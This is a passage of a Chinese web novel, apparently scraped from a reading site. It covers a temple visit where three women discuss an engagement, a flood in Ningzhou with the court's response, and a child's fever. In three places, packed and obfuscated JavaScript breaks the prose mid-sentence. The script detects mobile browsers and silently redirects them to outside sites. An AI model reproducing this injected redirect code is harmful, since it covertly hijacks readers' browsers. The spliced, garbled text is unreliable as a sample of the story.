慈恩寺的慧能禅师,在上京,乃至整个大周都赫赫有名。此人修习佛道已逾三十年,自会说话时起,便开始诵读佛经,据说尚为婴孩时,每遇佛像便展目而笑,时人称之为“佛子”,后归慈恩寺守真禅师座下,听其传道。 守真禅师圆寂后,慧能禅师继任主持,主理慈恩寺里外大小事,已许久不曾开坛。如今能再有机会听其俗讲,上京内外自是趋之若鹜。 元嘉的马车到时,慈恩寺早已观者云集,俱是想要一听慧能禅师俗讲的百姓。人头攒动中,元嘉还瞥见了好些熟悉的面孔,皆是上京有名的高门女眷。 元嘉本以为要费一阵工夫才能寻见柳安沅,却不想前者早在内殿安坐,又替元嘉与欧阳沁留了席位,还在慈恩寺所有进门处留了侍女,一见着元嘉出现便近前引路。 元嘉避开左右人潮,一路行至柳安沅身侧,见她左右两处有蒲团空置,遂提裙跪坐。正欲侧头唤上一句,却见柳安沅双眸紧闭,两掌合十,一副虔诚祈祷的模样,便又将话咽了下去,学着柳安沅的样子祝祷起来,只是不时向前者投去好奇的目光。 这是、要奉佛了? 不多时,欧阳沁也在侍女的接引下跨阶而入,跪坐至柳安沅另一侧。见她如此模样,亦是面露诧异,随即昂头向元嘉望去。 元嘉微微摇头,无奈示意自己也不清楚。欧阳沁一挑眉,又将视线转回柳安沅身上,上下打量了好几眼,正想开口说些什么,却无奈慧能禅师已开始坐讲,只好闭嘴不言。 慧能禅师这一场俗讲,前后持续了近两个时辰。这期间,柳安沅的姿势竟丝毫不见改换,由始至终都是垂首阖眸的虔诚之态,直看得两人暗自称奇。 好容易等到散场,柳安沅这才睁眼朝着两人咧嘴一笑,倒又跟从前别无二致了。 三人起身,结伴离开大殿。 “你今儿是怎么了,竟会邀咱们来听俗讲,”欧阳沁率先发问,“从前怎不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398917|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你信佛?” 柳安沅抿嘴一笑,只道:“慈恩寺的素斋味道极好,我早两日便命人来定了一桌,如今想来已送到厢房去了。走走走,咱们边吃边说,正好为姊姊接风洗尘了!” 话音未落,元嘉与欧阳沁便已被柳安沅推着往前走了好几步。两人对视一眼,彼此疑惑愈重,可见柳安沅眉宇间并无愁色,便也放下一半的心,只跟着往前者口中的厢房走去。 厢房内,一张不大的方桌上果然已摆满了各色素肴,此刻正飘着热气勾人食欲,显然刚送来不久。 三人围坐一处,柳安沅抬手挥退了服侍的人,又亲自为元嘉二人添满了茶水,却还是笑着不说话。 元嘉眼珠转了转,突然想起前些时候脑子里闪过的莫名念头,下意识阿了一声,脱口道:“阿沅,你莫不是──” 婚期将至? 柳安沅显然听明白了元嘉的未尽之意,面上顿时有些燥热起来。 这副被戳中心思的模样,欧阳沁瞧在眼里,还有什么好疑惑的。长长的哦了一声,又面露几分揶揄,“是哪家的郎君这般有福气,能娶到咱们家阿沅做夫人?” 元嘉也将视线移向柳安沅,一副等不到人开口不罢休的模样。 话已说破,柳安沅反倒不好意思起来,“是、是汾阳王的长孙,唤作谢韫暄的。许多年前外祖母大寿,他随汾阳王来过国公府,见过我一次。” 然后便支支吾吾地不肯细说了。 “汾阳王……” 元嘉想了一下,她倒是知道这位郡王爷──是位颇具威严的老人家,性情耿直,遇事亦坦言不讳,却是个难得的良臣……只可惜膝下三子一女皆不得圆满。 长子十几年前便已病逝,长媳悲痛过甚,从此奉佛,不问俗事。 次子先天不足,自出生起便开始吃药,到娶妻生子,也远比常人体弱,每至寒冬便病得下不了床。 三子倒是康健,可却是个不折不扣的纨绔子弟,早年间也曾做过斗鸡走狗的荒唐事,直到从马背上跌断了腿才渐渐收性。后来又娶了位将门虎女,脾性刚硬远甚夫婿,有她压着,这些年倒甚少再听到谢三郎传出什么荒唐事了。 唯一的女儿数年前已远嫁淮南,难回上京,便是逢年过节也见不到一面。 而谢韫暄,便是这谢家大郎留下的唯一血脉,因其母常年奉佛,远离红尘事,亦不理府中俗务,是以小小年纪便被汾阳王夫妇养在了身边,又悉心教导多年。 元嘉还记得燕景璇在西山别院时说过的话,想来也是个早慧善学的人,如此也不算委屈柳安沅。 “我若没记错,汾阳王年初才请立了谢韫暄做世子,你若嫁了他,来日便该称一句世子夫人了。” 柳安沅闻言,面上又是一红,倒也没有否认这个称呼。 二人又笑着朝柳安沅道贺了几句。 元嘉却突然想到另一处,道:“靖安郡主膝下只你一个,我阿娘已不止一次听郡主说起,来日要为你找个上门郎婿的。这谢韫暄是有多好,竟叫郡主松口许你做别家儿媳了?” 柳安沅闻言,眼珠左右转了转,就是不开口,可最终还是没抵过元嘉二人的灼灼目光,吃了口茶缓缓道来。 77. 问前缘 谢家的大郎与二郎,皆因体弱而多受苦楚,到谢韫暄时也未见好转,仍是幼时羸弱。汾阳王夫妇唯恐他步了长子后尘,自小便看顾过甚,连出府的机会都少之又少。 柳安沅口中的随汾阳王过府贺寿一事,是两人的初见,亦是燕韫暄有记忆以来第一次出府。 而柳安沅的外祖母,便是赫赫有名的武帝朝女将—昭献大长公主。 那一年,大长公主祝寿,拒了光熹帝在宫中设宴的好意,留在了小女儿的国公府里摆席。靖安郡主作为主家,那一日忙得脚不沾地,以至于叫唯一的女儿寻着机会,偷溜去了前院宾客的地方瞧热闹。 而燕韫暄,则是趁着自家祖父母向大长公主贺寿之际,悄无声息地混进了人群之中。他自来体弱,汾阳王妃唯恐其出了闪失,从来都是一群小厮侍女跟随。这是他第一次出门,也不知如何生了反意,就这样甩开了身边人,又跟在人群四散走动。 而后,便遇见了柳安沅。 “原是打小的缘分!” 元嘉忍不住打趣了一句。 “可我那时,连他长什么样子都没记清呢。”柳安沅笑得眉眼弯弯,“那时候怕阿娘责骂,我便藏到水池的假山后头去了,哪想他也在躲自家的人。偏那地方小的很,只勉强叫一人容身,我不想出去,便给他塞了把果子,叫他把地方让给了我。” “你说让,他便让了?” 欧阳沁故意道。 “我都把自己喜欢的果子放他手里了,收了东西,自然得让。” 柳安沅的视线有些飘忽,显然略过了一些细节。 两人相视一笑,也不戳破,只继续问道:“那然后呢?” “然后……” 柳安沅埋头啜饮了一口茶水,顿了顿又道:“然后他一出去便被汾阳王府的人找到带走了,我一直等到前厅开席了才溜回去。阿娘本来是很生气的,可那日事情实在太多了,等她空闲下来气也早就过了,我便也无事了。” 语速倒比之前快了不少。 “哪里是问你这个,”欧阳沁煞有其事地摇头,一脸要柳安沅从实招来的表情,“之后呢,你与那谢韫暄又是如何订上亲的?” “他、他回去后便着了病,汾阳王府找了当时的国手看诊,最后开出来的方子,有味主药极其难寻,长于关外,又近乎绝迹,只余两株藏于宫内,其中一株后经武皇帝赐给了我家外祖母。” 提到这件事情,柳安沅的神色略有改变,“汾阳王救孙心切,与王妃数次登门求药。外祖母体惜老王爷,也生了恻隐之心,遂将那药相赠。外祖母如今虽已仙逝,可汾阳王总记着这份救命的恩情,四时八节都不曾少了节礼,我、我自是能见到他了。” 听这意思,是天长日久的生了情谊了。这也难怪,两家人之间有救命的恩情,柳安沅一朝过门,只会被汾阳王夫妇愈加珍重,自是不怕受了委屈,也难怪靖安郡主松口了。 只是,燕景璇当日说起谢韫暄时,也只提过他生病一场,才惹得汾阳王妃看顾过甚,她便也以为这是为了让老人家宽心,如今听来却是极为凶险的。 元嘉不露声色地瞥了眼欧阳沁,见她也若有所思地瞧向自己,便知两人担心到一处去了。 想了想,又似不经意般开口:“我倒只听过谢家郎君的才名,不想幼时竟这样艰难……如今身子可大好了?” 柳安沅不作他想,脱口道:“无事的,他如今身体康健,只是少时那一场大病,到底医治得晚了些,如今较常人更易有个风寒脑热什么的,旁的也再无多的了。” “无事就好。” 欧阳沁自然接过话头,又打趣了一句,“若是个弱不禁风的,可如何受得住咱们阿沅一拳头?” “沁姊姊惯会取笑我的!” 柳安沅嗔道。 见柳安沅果然被转移了注意力,元嘉也放下心来。若只是一般的风寒脑热,想来在身体上是无虞的,否则依宿国公与靖安郡主疼惜女儿的程度,当是无论如何都不会同意这门亲事的。 可若是身体无虞,柳安沅又为何会起了奉佛的心思? 元嘉视线扫过桌上的饭菜,突然有了主意。 “好了好了,咱们话也说了,也该吃菜了,再这么放下去,怕是都冷透了!” 元嘉故意道。 柳安沅啊了一声,果然忙慌慌地招呼起两人动筷来。 元嘉尝了几口,又道:“你今日又是听慧能禅师俗讲,又是招呼我们吃素斋,这般熟稔,是想奉佛了不成?” “怕不是要嫁人了,开始修身养性了?” 欧阳沁又补了一句,听着倒像是顺口调侃一般。两人一唱一和,彼此心照不宣。 “我这性子,哪做得了打坐念经的事呀!”柳安沅使劲摇头,“只是他家母亲奉佛,后来又为着他少时病的那一场点了长明灯,每日枯坐佛堂,长斋绣佛,为亡夫诵祷,也为他祈求康健。我恣意惯了,女儿家的活计也拿不出手,来日既要嫁他,自然也想为他做些什么。思来想去,便只有学着他家阿母,多在佛前说些好话,求佛祖庇佑他此生康健,能伴我长久了。” 一番话说得情真意切。 元嘉细细瞧了柳安沅几眼,突然露了抹笑,认真道:“天相吉人,你与他一定会天长地老、长乐永康。” 柳安沅笑着点了头,又恢复了一贯的快性,一边替两人挟菜,一边朝欧阳沁道:“如今我也要成亲了,嘉儿更是几月前就出嫁了,咱们三人中,姊姊是最年长的,如今四方稳定,姊姊可曾想过自己的终生大事?” 欧阳沁吃了口菜,一副兴致缺缺的模样,“我倒是不急,想着再等两年,到时小弟也大了,我也可更放心些,也就好找个沉稳上进的在后方压阵。我总归是军士,说不准哪日便又披甲上阵了,夫婿若是个沉得住气的,我在前线也可更安心些。” “是了是了,”柳安沅本也是随口一问,听欧阳沁此言,顿时赞同道,“姊姊可是掌管数万兵士的女将军,寻常男子如何配得上,定得细细挑拣才行!” 欧阳沁忍不住笑出声来,又伸出指尖往柳安沅额头上一戳,“这话我可记下了,来日我若找不到满意的,便赖着你替我找个不寻常的夫婿了。” “只要姊姊一声令下,我定为姊姊鞍前马后,寻个样样出挑的!” 柳安沅满口答应。 这下连元嘉也忍不住了,一面摇头失笑,一面替两人续了满杯的茶,打趣了几句方又问道:“既已相中了人,那婚期可一并定下了?” “已请相师过来瞧过了,就定在来年入秋,”柳安沅眼角眉梢俱是喜意,可很快又扁起了嘴,“只是等过了年,我娘便不许我随便出府了。” “这又是为何?” 欧阳沁疑惑道。 她虽生在上京,可常年便随军队驻扎在边城,与兵士打交道的时间远多于同龄女郎,自然也就对男女婚俗知之甚少了。 元嘉倒是很快反应过来了,“靖安郡主是怕你绣不完嫁衣吧!” “……如今上京城里,女子成婚竟都要自己做嫁衣了吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15410704|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 欧阳沁少有的露出几分茫然。 “倒也不是人人都做的,”元嘉笑着解释起来,“只是大家都说,新嫁娘若能穿上自己绣的喜服出嫁,便可与夫婿一生一世、恩爱不疑,如此,绣嫁衣的便多了。” 欧阳沁唔了一声,“我倒是不记得你出嫁前绣过嫁衣……” “所以才说不是人人都做呢!”元嘉嘴角的笑意愈大,“一件嫁衣,少说也得小半年才绣的完,又是要穿出去给人瞧的,所以那些不愿意费时的,或是绣技平平的,都不愿意花这趟工夫,宁肯在嫁妆上多费些心思呢!” 顿了顿,又道:“我那时一应物事都要比照宫闱内制,是以不曾缝制嫁衣。” “那照嘉儿所言,咱们的阿沅更不该缝这嫁衣了!” 欧阳沁瞥了身旁人一眼,故意打趣道。 但这话却是再实在不过的了──柳安沅自来不擅针线,又是个耐不住性子的,如何能坐在绣架前老实绣完整面嫁衣呢? 果然,柳安沅整个人都透着不情愿三个字,“我娘说谢家既诚心求娶,礼数俱全,女家自然也得郑重以待。她既不指望我婚后能做好内主中馈的管家妇,便只能在婚前的俗礼上下功夫了。” 二人忍俊不禁。 元嘉又道:“靖安郡主这是在磨你的性子呢。只若是翻了年便要你待在家中绣嫁衣,那咱们岂不是要大半年都见不着面了?” “所以我已和阿瑶说好了,过几日与她一道回云南,先在穆王府待几日,再借道往周边地界晃一圈,等回来了便安心备嫁。” 元嘉有些惊讶,可转念一想,这才像柳安沅的性子呢,便是再紧要不过的事情,也得先高兴了当下再说。这又何尝不是靖安郡主夫妇多年疼惜的结果。 “康敏县主要离京了?” 欧阳沁问道。 “她家小弟下月生辰,所以得回去一趟。”柳安沅嘟着嘴,“若单我一个,我爹娘他们是决计不会许我出上京的。” “那你这次便玩个痛快,等回来了咱们再聚。”元嘉撑着下颌,陡然间想起穆瑶筝在春日宴上说过的话,顿时起了别的念头,“上次便听康敏县主说起,她家弟弟的相貌是一等一的出挑。你这次若见到了,回来可得与我们好生说说,我好奇得很呢!” “我也有此打算呢,这才专程绕去云南的!”柳安沅抚掌而笑,原也与元嘉想到一处去了,“上次去云南,正好赶上穆王妃带人出门远游了,哪里瞧得见好看不好看。今次再去,我非得扒着那穆小世子的肩膀细看一番不可!” 欧阳沁今日的笑意就没从嘴角下去过,此刻又听二人又将话题转向了穆王府,不由得摇摇头,手腕微动,用筷箸尖的一头与碗壁轻轻相碰,道:“我的柳大娘子,不是说今日这餐是为我接风的吗,这眼瞧着菜都要冷透了,到底还吃不吃呀!” 话里带笑,显然不是责问,倒更像是一句促狭。 “吃吃吃,”柳安沅忙道,“这可是我提前好几日才订下的素斋,可不能浪费了!” 说着,又忙不迭地从碗碟中挟了口菜放至嘴中,余温尚存,便知欧阳沁是故意取笑,少不得又与人打闹起来。 如此这般,等三人用好饭从厢房再出来,已然过去了快一个时辰。 柳安沅兴致不减,又领着两人往慈恩寺内院走了一圈,期间还与不少内院沙弥合掌问好,观其熟稔程度,当是不止来过一次。 眼见日影西垂,三人虽还有许多未说尽的话,却也只能各自道别,又约好来日再聚,这才打道回府。 78. 灾祸起 那一日的慈恩寺之行,似乎无人向燕景祁告禀,又或许是有人告禀过,但燕景祁却无意过问。总之,素日里与元嘉说话时,一次也没有提起过,元嘉自然也不会主动挑起,时间就在这样平淡如水的日子里悄然流逝。 柳安沅两日后便跟着穆瑶筝的马车离了上京,说是要一次性玩个痛快,瞧这架势,不到年底是不会回来了。 而欧阳沁,没了边关隐患,便也可安心长留上京。除非再有战事,否则只需每年往边城巡视三、两回,便是驻守边城的将士们,除开轮换,也可在人手充裕的前提下往返探亲了。 太子府里,卫妙音自那日从慈恩寺后回来后,精神似乎大好。章有为近来几次回禀,都说其身体日渐康健,再调养两月,便可停药改服参丸了。 刘婵与吴小童倒与从前别无二致,可倪娉柔却有些不一样了。虽还是会对徐丽华冷嘲热讽,可面对宜恕时却愈发和善了,而徐丽华竟也只是冷眼瞧着。 至于章辛夷,入秋后不久便作为待选医女的一员进了宫,前两日托章有为给元嘉带信,说是已通过了考核,如今已正式成为司药司的一名医女了。 一切似乎都在朝好的方向发展,可唯独在探查薛神妃之事上,至今仍不见回音。前段时日出现的种种异处,仿佛只是昙花一现,如今骤然平息,再找不出半点端倪假象。 没有消息便是好消息。 元嘉这些时日心态渐变,原是兀自惶恐,可如今既已看清了自己想要的东西,自然也就不在乎这所谓的回音,亦或说是真相了。 这些日子,元嘉依旧依例入宫,有时也接季元淳下学,趁着机会回季家小聚片刻。季连夫妇康健如故,季元懿也开始往返于康乐长公主府听学受教,瞧着人也外向开朗了许多。 而最让元嘉高兴的,还是顾静则有喜一事。 前者原以为自己只是倦累厌食,请大夫诊了脉才知是怀了身子。季家时隔数年终于又迎来新生命的降生,季元泓自是高兴不提,季连夫妇更是十足的重视,不仅在衣食住行上倍加小心,还寄信回了顾家,听说顾静则的母亲和姊姊不日就要启程来上京了。 而她,竟也到了做人姑姑的年纪。 顾静则的产期在来年冬岁,虽时日尚早,可元嘉还是绘了图样,开始做起小孩子的衣物来,又请了周记银楼的大师傅打了套镶金缀玉的圆项圈,更不论送去的各式补物了。 “你对兄嫂的孩子尚且如此上心,若来日自己也有了孩子,只怕是会更加疼惜。” 燕景祁某次下朝回府,瞧见元嘉临窗裁衣的模样后,如是道。 那时候,元嘉只拿着绣绷子,瞧着燕景祁微笑不语。 自然,燕景祁是想要个与元嘉的孩子的。他尚无嫡子,而元嘉是他名正言顺的妻。可他也知道,这事急不来,且成婚至今,反倒是自己有近乎半数的时间都不在上京,自然也就无法勉强。 大抵是看着元嘉临窗而坐的模样一时静好,这才脱口而出。 只是,燕景祁虽不急,却还有其他许多人在明里暗里地盯着元嘉的肚子。 如果元嘉迟迟无有子嗣,那么太子妃的位子也就没那么稳不可摧了。而虎视眈眈觊觎着这个位子不放的,自是大有人在。眼下看着是一片祥和,可谁也不知道这平和的假象能再维持多久。 明年?后年? 他们还能容许元嘉膝下空空几年? 谁也不敢说。 …… 至冬月时,上京城迎来了久违的初雪,纷纷扬扬、零零散散地下了整个满月。 都说瑞雪兆丰年,元嘉想,来年或许是个好年。 临近年关,元嘉要忙的事情也多了起来,宫里府上,俱是一堆等着元嘉做决断的人和事。不过十数日的工夫,元嘉便肉眼可见的瘦了一圈。 而念夏,则赶在年前的最后几天被自己的老子娘接回了季家。听说已看中了好几户相熟人家的年轻儿郎,只等念夏回去一一相看。 念夏从太子府离开的那一日,元嘉没有出现,只叫人置办了一桌席面当是送行。又使逢春将身契还给念夏,另封了二十两银子和金银器若干,一则为其来日婚事添妆,二也算是全了这段多年的主仆情分。 至新年时,宫内陆续开始设祭、礼参。光熹帝身体未见大好,每日只在仪礼开始时露上一面。元嘉与燕景祁,既为储君储妃,自当诸事在前,而娄皇后有意淡去薛神妃之存在,一并替元嘉立威,便也刻意避让。两人遂住回了少阳宫,每日前朝后宫的领着仪礼,直到十五以后,才得空出宫。 柳安沅赶在旧年的最后一日回了上京,在国公府热热闹闹的过了个年,穆瑶筝则还在云南,要与自己的父母兄弟团完年后再回来。可于元嘉而言,这却是她第一个未与亲人共聚的新年,好在宫务繁琐,整日整日的忙下来,倒也没多少心思去感伤了。 只是不曾想,这雪才刚停,雨便又下起来了。 …… 元嘉眉头紧锁地望着窗外,抿嘴不言。 虽到了好雨知时节的季节,可也不该一直落雨的。偏自入春的第一场雨开始,上京已断断续续下了半月的雨,近两日甚至隐隐有扩大的趋势。 长春馆的檐角处还在滴滴答答的落着雨点,入目是一片水意朦胧,当真是春色又临……可、这不正常。 “徐妈妈,你瞧这雨还会下多久?” 元嘉转过身来倚着窗棂,仍蹙着眉头朝徐妈妈问道。 徐妈妈并不看那雨,只扶着元嘉远离水汽侵袭之处,见其安稳坐下,又抬手将扇窗微合,这才道:“春雨连绵是常有的事,雨水多些,农户们的收成也能更好些,想来也是好事。” 元嘉闻言,面色稍好了一些,可仍是眉头未舒,迟疑道:“想是前几年的雨水无有这样充沛,我一时不惯,又看这大雪连着大雨,有些无底吧。” “女君勿要忧心,”徐妈妈宽慰道,“想来若有灾祸,仓部司、水部司和都水监的官员们早该有动作了。如今太子每日在朝堂上,不也什么都没听到吗,那大抵是无事的。” 元嘉嗯了一声,又将视线移向窗扉狭缝处,雨依旧不大,只是密密绵绵的惹人心烦。 朝上既无事,便该是太平安康的。 元嘉在心中默默道。 只可惜,天不遂人愿。 这场雨一直下到了惊蛰前后。雨势最大之时,人行十数步而难窥一物之影,直到雨停后半个月,方才散尽雾锁烟迷之象。 雨水带来的,不是丰收,而是灾祸。 紫宸殿。 “宁州大霖雨,山水暴涨,漂流二千余家,溺死者千余人,流尸东下……”① 光熹帝将手里的奏章攥得死紧,语气森然,“好啊,好的很!快一个月前的事情了,到如今才递到朕的面前,当真是以为朕要死了不成!” 说罢,将奏章狠狠地掷在地上,气得两眼发红。 因着身体久病,光熹帝已很久未动过这样大的火气了,紫宸殿内一时间噤若寒蝉,只跪伏在地上,叩求君王息怒。 娄皇后与燕景祁进殿时,光熹帝尚被怒气裹挟,紫宸殿内一片狼藉。 燕景祁一掀衣袍,便跪在了光熹帝面前,可前者只施舍般瞧了他一眼,却没有叫人起来的意思。娄皇后的视线在两人头顶上打了个旋儿,多年夫妻,她自然也猜得出光熹帝的心意。 这是迁怒上了。 想了想,遂行至光熹帝榻前,先把奏章从地上捡了起来,轻拂了两下不存在的尘土,将其收捡在书案上,而后才侧坐至光熹帝身旁,抚着前者的胸口温声道:“为着旁人的过错生气,到头来伤的还是自己的身子,实在是不值当,还请陛下息怒。” “他们好大的胆子!怎么,是觉得朕病得上不了朝了,就可以欺上瞒下,抹掉这一千多人的性命不成?朕还没断气呢!” 光熹帝余怒未平,口气说不上好,可还是将手搭在娄皇后的手背上,安抚性般轻拍了两下,而后看向了燕景祁。 “朕让你处理国政,让你替朕主持朝野大局,你就是这样做给朕看的吗?太子!” 燕景祁重重磕了个头,沉声道:“儿臣有罪。” “罪?朕哪敢定你的罪!” 光熹帝冷嘲一句。 “儿臣有罪!” 燕景祁又是一叩首,“儿臣虽忝居太子之位,却未行上达天听,□□民情之事,此一错;明知春夏多灾,却不曾使各州郡先行检修堤堰,兴建义仓, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15425786|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此二错;上京连绵雨水不绝,却仍未生出警觉之心,任由朝官奏报无虞而不深查,此三错!宁州千余百姓无辜受灾而死,儿臣责无旁贷,请父皇责罚!” 光熹帝见燕景祁言辞恳切,倒也散了几分火气。冷哼一声,虽还是不叫起,可面色却和缓下来了。 娄皇后从旁瞧着,眼中亦是欣慰,顺势道:“陛下,太子此行,一为请罪,二也是想请您示下,咱们还该速速治灾救民才是。” 见光熹帝仍不表态,又朝燕景祁道:“你在尚书省昼夜不休几日,可不是为了跪在这里充哑巴的,还不快起身回话。” 光熹帝眉心微动,又看了燕景祁一眼,终于松了态度,“起吧。” 燕景祁垂目谢恩,这才从地上起身,又将一直掩在衣襟内的奏章奉上。 光熹帝没有接过的意思,只对着娄皇后道:“瞧瞧,还真成了个哑巴了。” 娄皇后顺势收下奏章,又朝燕景祁示意了一眼。 前者喉头微动,定了定神,方道:“父皇容禀。” 光熹帝嗯了一声。 “儿臣以为,当先勘灾,核定灾情难民以造册,再派遣钦差大臣去往各地赈济排涝。对已受水患侵袭的各州郡分以轻重缓急,分别施以赈给、赈粜、赈贷和工赈等手段。待灾民安置妥当后,再以租税蠲免等策令恢复民生②。至于那些瞒报灾情的蛀虫,”燕景祁眼中闪过一丝冷意,“可等诸事平稳后慢慢论罪。” “你说要先勘灾,朕问你,现在勘灾,又要到何时才能真正地安置灾民?” 光熹帝微微阖眸,不时发问。 “儿臣僭越,为免治灾延误,已在收到奏章后立时命人奔赴灾地,先行勘灾,算来时日也该差不多了。” 燕景祁两手交叠,垂目答道。 光熹帝这才睁开了眼,“好,事急从权,你能明白这一点,而不是拿着高谈虚论的东西糊弄朕,很好。朕再问你,你为何不先处置了那帮瞒报灾情的佞臣?” “眼下治灾安民才是头等大事,若此时降罪,新替换上去的人未必能知首尾,或许还会误了救灾。二则也是怕夺官的旨意一下,犯事者会阳奉阴违,故意阻挠,不论是哪一条,最后遭殃的都只是无辜百姓。” 燕景祁沉声道。 “你既想到这一重,那又有什么对策之法?” 光熹帝脸色愈发缓和。 “赏功罚罪,”燕景祁唇角勾出一抹不甚明显的弧度,“只说宫里的意思是救民为上,沿途官员治灾有功者,计功行赏,若存延误灾情之过,便功过相抵,若还有迟于赈恤的,事后查处,便全部罪加一等。” “好,你既心中有数,治灾一事便还交到你手上,去吧!” 燕景祁躬身应下,又道:“儿臣不才,还有一事需父皇决断。” 光熹帝抬眼从燕景祁的脸上扫过,示意他继续往下说。 “此次遣派去宁州救灾的大臣,儿臣尚无头绪,尚书省也还无有定论,请父皇示下。” 光熹帝沉吟片刻,道:“工部侍郎项方海、监察御史梁相旬可担此任。” “是!” 燕景祁得了光熹帝的准话,这才行礼离开,又直奔尚书省而去。 娄皇后看着人离开,心中大石落地。又陪光熹帝说了会儿话,直等到前者服下汤药,方才起身告退。 …… 燕景祁开始整日奔波于宁州治灾一事,晨兴夜寐。可饶是忙碌至此,每日却仍会回太子府安歇,而不似之前一般住回少阳宫去。 元嘉随了燕景祁的起居,清晓送人出门,暮夜迎人归府,平日里更是三不五时的送汤送水,可燕景祁还是一日日的清瘦下去,元嘉也不逞多让,正月间好不容易养出来的二两肉,顷刻间便化为虚有。 直到抵达宁州的项、梁等人送回第一封奏章,治灾救民都开始有条不紊地开展起来,这样昼夜混杂的日子才暂告一段落。 可亟待解决的事情还有许多。 水患来得太快,知道消息的时间又太晚,各地虽也在极力安置百姓,可还是有不少灾民流散进了其他州郡。 春末转夏,逐渐炎热的天势也为这次水患注入了最猛烈的一击—— 时疫。 79. 逢惊变 “……怎么就你一个,沁姊姊呢?” 元嘉坐在聚广楼二层临窗的位席上等待,见柳安沅走进,一面迎人,一面不住地往后张望着。 因着宁州水患一事,上京城近来已办了好几场法会,说是要以诚心向天神祝祷国朝康平,也一并替灾地的百姓祈福。宫中嫔御,以娄皇后为首,自上而下裁减用度不说,还在城中设了善堂捐钱捐物,京内不少女眷都慷慨解囊,元嘉也着意添了不少。 “求神灵庇佑是一方面,可也不好事事都靠神灵。” 娄皇后如是道。 为此,上京已许久未见热闹了,连街道也冷清许多。 柳安沅自许婚谢韫暄后,便多了拜佛这一桩事,思及宁州之事,靖安郡主倒也不再一门心思的关着人绣嫁衣,不时也许柳安沅往慈恩寺拜佛。这回也是特意问好了元嘉与欧阳沁的空当,才挑着今日出府。本想着三人能忙里偷闲小聚片刻,哪成想,临到头来还是有了变故。 “沁姊姊有事呢,她家小弟昨日夜里发了高热,眼下还烧着呢,沁姊姊脱不开身,便只剩我了。” 柳安沅旋身坐下,叹气道。 “阿澄病了?怎的这么突然,可用上药了?竟也不告诉我一声!” 元嘉急道。 “实在是事发突然,”柳安沅蛾眉微蹙,“今晨出门前,沁姊姊没瞧见阿澄的身影,这才去了他屋子里找。发现的时候人都烧迷糊了,偏上京近来染了热病的不少,略有些名气的郎中都叫人请的差不多了。慌乱间想起我家常年养着医士,这才快马说给了我知,我又过来说与你知。” “这、若是缺郎中,来我府上要人就是,”元嘉着急道,“太医也好,医女也罢,只管随她用!” “太子连月来为宁州水患一事来回奔波,你又如何能讨闲?”柳安沅安抚般拍了拍元嘉手背,“沁姊姊也是不想你过分耗神。” 元嘉仍是着急,听了这话竟有些笨嘴拙舌起来,好一会儿才道:“那、当是无事的吧?” “我是瞧着人被玉戟接进去了才走的。那医士在我家十几年了,旁的病不敢说,寻常头疼脑热还是能治的,你且放宽心。” 元嘉迟疑着点头,勉强放下一半的心,又问起其他事来,“可知道是什么原因烧起来的?怎的一整夜都无人发觉?” “说是阿澄昨日下学的早,便和几个交好的小郎君跑到南郊水畔踩水去了,弄得浑身湿漉漉的回去。”柳安沅回忆道,“可回去后也是立时泡了热水、换了衣裳,还瞧着人喝完了姜汤的,哪知道半夜里还是发了高热。偏伺候的丫鬟白日里偷喝了几杯酒,守夜时打了盹,这才没留意到阿澄不好……可怜见的。” “……阿澄还这般小,怕是很要遭一场罪了。” 元嘉叹了口气,面上仍显出几分忧色。 “谁说不是呢,”柳安沅气鼓鼓道,“要我说,还是伺候的人不当心,若是刚烧起来时便发现了,哪至于到现在这般严重!” “那丫鬟可被处置了?” “叫沁姊姊打了二十板子,撵到庄子上去了。” 柳安沅扁着嘴道。 元嘉闻言微讶,“只是如此?” 欧阳沁对自己这个唯一的弟弟有多在乎,她们都是瞧在眼里的。如今这个弟弟因为旁人的疏忽害了病,依欧阳沁的性子,又怎会这般轻易的放过。 “听说是那丫鬟家中也有个年幼的弟弟,可父亲早亡,母亲生产时又坏了身子,无法劳作。后来起早贪黑的做针线又把眼睛给熬坏了,一家子全靠着女儿的月例银子过活,”柳安沅叹着气,面上显出几分为难,“若把人发卖了,便跟要了她们一家子的命无疑……” “不是说,是白日里吃了酒的缘故吗?” “是吃了酒,可吃的却是隔壁老夫人院子里的喜酒,”柳安沅用手撑着下颌,目光移向窗外的街市,“老夫人身边有个得宠的侍女要嫁人了,临出门前特意赐下席面,让满府的丫鬟们也跟着热闹热闹。那丫鬟从来没吃过酒,看旁人喝的有味,便也跟着饮了几杯,哪成想酒量太浅,这才闹出了晚上的事情。” 元嘉默然。 “玉戟说,沁姊姊发了话,等阿澄好全了,若他还要人回来伺候,便再把人喊回来。若是没提,养好伤之后就留在庄子上做管庄娘子。虽不比在主子跟前得脸,好歹也能供一家子过活。” 